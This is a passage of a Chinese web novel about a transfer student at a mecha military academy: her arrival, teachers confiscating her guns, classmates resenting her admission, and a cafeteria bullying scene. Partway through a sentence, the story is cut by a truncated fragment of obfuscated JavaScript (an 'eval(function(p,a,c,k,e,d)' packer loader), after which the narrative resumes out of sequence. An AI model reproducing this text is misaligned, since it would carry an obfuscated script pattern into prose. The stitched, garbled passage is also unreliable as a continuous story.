默默穿好衣服的欧斯文洛嘴角抽搐:他怎么没在机甲单兵系见到过这位?难道是高年级的学姐? 他擅自跟在东倒西歪互相扶持的人群身后。 看着鸡冠头替的女孩付完车费钱后,领着一群小弟等到机器人警察跟前自首。 还没来得及问这位陌生女孩的名字,她就消失在了校门口。 这方向不对吧?机甲单兵系在他的这边啊! 14. 第 14 章 老牌帝国军校天昭的占地面积大到一种难以想象的地步,时夕光是问路就问了四五次,最后在一位热心学姐的帮助下终于找到了机甲维修与设计系的大楼。 办公室里徐威拿起冒着白色热气的保温杯,准备品一口精心准备的养生茶。 天都黑了,他的得力干将怎么还没把插班生给接回来。 “笃笃——!” 清亮的女声响起,“请问这里是机甲维修与设计系的老师办公室吗?” “是的,你找谁?” 其他老师都这会儿都不在,徐威放下杯子一回头就看见了此时本应该在星港的人。 他猛地起身,走过去纳闷皱眉问道:“时夕?” “老师你好,我是时夕。” “你好,我是你未来班主任徐威。” 说完他挠挠头,“嘶——不对啊,燕不言不是接你去了吗?你没看到他吗?顶着一头黑色卷毛,他也是五班的,是你的同学。” 时夕摇头,“我是自己过来的。” 徐威想起一个关键点,这位初来乍到的新同学肯定不知道星港有军校生专用出口,一问果然,两人分别待在不同的出口。 照这等法,就算等到地老天荒也接不到人。 “时夕同学,你稍等,我先把那臭小子给叫回来。” 光脑通讯接通,下一秒,时夕见识到了异世界狮吼功,她捂着耳朵悄咪咪后退一步。 “燕不言你这个不靠谱的家伙给我回来!出口都搞错了你还等个屁啊!还好人家聪明,自己找到学校了!” 在一边默默听着的时夕:她看起来像个能把自己弄丢的傻子吗? 通讯光屏上的黑发男生恍然大悟,“哎呀,不好意思啊老徐,我给搞忘了,插班生是新生,不知道咱们学校的相关常识。” “之后你负责给插班……”徐威注意到身边文文静静的女生,他立即换了个说辞,“作为弥补,由你来带新同学熟悉校园!” 啪的一声关掉通讯,他伸手接过时夕手中的行李箱,“走吧,我先带你去宿舍。” 时夕礼貌微笑道谢:“谢谢你,徐老师,麻烦你了。” 他摆摆手,“客气什么,这些都是我这个当班主任应该做的,以后你要是有什么事情记得来找我。” 学生宿舍区距离教学区有一段距离,需要乘坐校内的飞行车。 徐威嫌弃那车开的慢吞吞的,干脆自己的车带人。 时夕虽然是个走后免试被硬塞进五班的关系户,他对这学生的第一印象还算不错。 平时和班上那些闹腾学生的接触多了,突然来了一个安静乖巧的孩子,他还真有点不习惯。 而且他总感觉这孩子的气质过于平和,和军校格格不入。 * 很快,还不到半个小时。 徐威心里那点对时夕的好印象,像断了线的风筝,没飘两下就啪叽一声跌到了地上。 为保证学生在校安全,所有带进宿舍的私人物品都需要做一遍大致的检查判断是否危险。 时夕身上两个空间钮,一个她的,一个季绥留在保险柜里。 第二个没什么问题,倒是第一个…… 不检查不知道,一检查吓一跳。 “一把,两把,三把,四把……第十五把。” 等到负责检查行礼的老师数完,长桌上一排摆开看过去,全是型号大小不一的能量枪。 跟过来的徐威眼角抽了抽:他收回关于这个学生的所有评价。 迎着两位老师质问的目光,时夕脸上笑容不变,“老师,你们知道的,女孩子独自在外需要安全感。” 徐威/安检老师:……你这未免也太缺乏安全感了吧! “时同学,这些东西先由学校保管。” 时夕没意见,反正这些手搓枪都是用来唬人的,“对了,老师,个人的机甲也需要上交吗?” 她听说帝国军校貌似都挺排斥野兽派机甲的,【暗夜主龙】要是被发现了,她不会被当场退学吧? 那可真是太好了! “不需要,你自己的机甲自己保管好就行。” 一盆冷水当头泼下,时夕嘴角弧度定格,好失望。 徐威一听这学生还有机甲,职业病瞬间犯了,心里痒痒的想看看究竟是什么类型什么型号的机甲。 算了,来日方长,人起码要在他班上待一年,以后总有机会看的。 * 由于每年都有不差钱的学生家里捐楼捐款,天昭的住宿条件十分不错,两名学生同住一栋二层楼。 时夕是突然到校的插班生,来得太晚,同系女生们恰好都分楼完毕了,她最终被安排和一个医学系的女生成为室友。 这位神秘的室友只在时夕到校的那一个晚上和她简单见了一面。 她的名字叫做宇文霄,是个梳着单马尾,戴着厚框眼睛的女生,身上散发着淡淡的消毒水味,气质清冷。 时夕简单地和室友打了招呼后就上楼收拾东西去了。 * 到学校的第二天,时夕领到了属于她的教材,电子版纸质版的都有,厚厚的一沓,堆起来差不多有大半个人那么高。 光是看到这书,就感觉她的好日子到头了。 机甲设计与维修系突然转来了一个插班生这件事很快就在校内传开,并造成了全校师生轰动。 插班生!那可是插班生!还是个走后门的插班生! 要知道天昭建校快三千年,这可是第一个也是唯一格打破森严校规,未经过层层考核筛选录取的学生! 以往无论那些帝星权贵怎么砸钱施压想把自家不成器的孩子塞进来镀金都没成功。 想来这读书?行啊,只要成绩,身体素质达标,大门敞开欢迎你来。 至于其他威逼利诱的方法?不好意思根本没门。 长久以来,天昭学生们在其他四所帝国军校面前为数不多可以拿得出手引以为傲的地方就是: 身边所有同学都是真材实料考进来,绝对没有关系户。 结果现在竟然告诉他们,转来了个走后门的插班生!? 最可恨的是,她居然还是个生长在帝国南部边陲垃圾星,连正经书都没有读过的学生! 这文盲见听得懂机甲结构课上的那些专业术语吗?认识武器课上的那些枪械吗?见过材料课上老师展示的各类金属吗? 什么都不懂居然好意思和他们待在一个学校,甚至是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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按照目前的状况,只要谁和她扯上关系,大概都会被打上“自甘堕落”的标签。 时夕手里还有巴奈特交给她的【秩序守卫】,她准备等明天放假,把宫圆约到校外,在确保不会有其他同学看到的情况下在把机甲交给他。 “咣——当——!” 就在时夕垂眸安排明天行程时,她的肩膀被人重重一撞,手里的餐盘一时没拿稳连带着饭菜垂直掉落,汤汤水水洒了一地。 “哎呀!真是不好意呢,我竟然把时同学你这万分珍贵的一餐给洒了。” “哈哈哈哈哈,艾肯,没事的,等一下你赔她一份就行了,反正那种东西,你家狗都吃得比她好吧。” 听到这句话,周围其他正在吃同样饭菜的学生顿时停下。 说话的人没发现其他人脸色瞬间变臭,还在自顾自地说, “时同学也真是的,走路不看路,饭菜洒了是小事,万一弄脏了艾肯你的定制校服,你辛辛苦苦干一辈子活可能都赔不起呢。” “天哪!胡盛,你提醒我了!我的校服好像真的脏了,怎么办呢?” 时夕从被撞之后就一直没说任何一句话,冷着脸看完对面的二人小品。 “听说时同学的学费都还没交,艾肯,我们还是别为难她了,垃圾星出来的孩子,能有幸进入天昭都应该谢天谢地了。” 时夕白眼快翻上天了。 老虎不发威,真当她是病猫啊! 就在她准备开口回怼的刹那,另外一道陌生的嗓音横插一脚,“你的校服多少?我替她出。”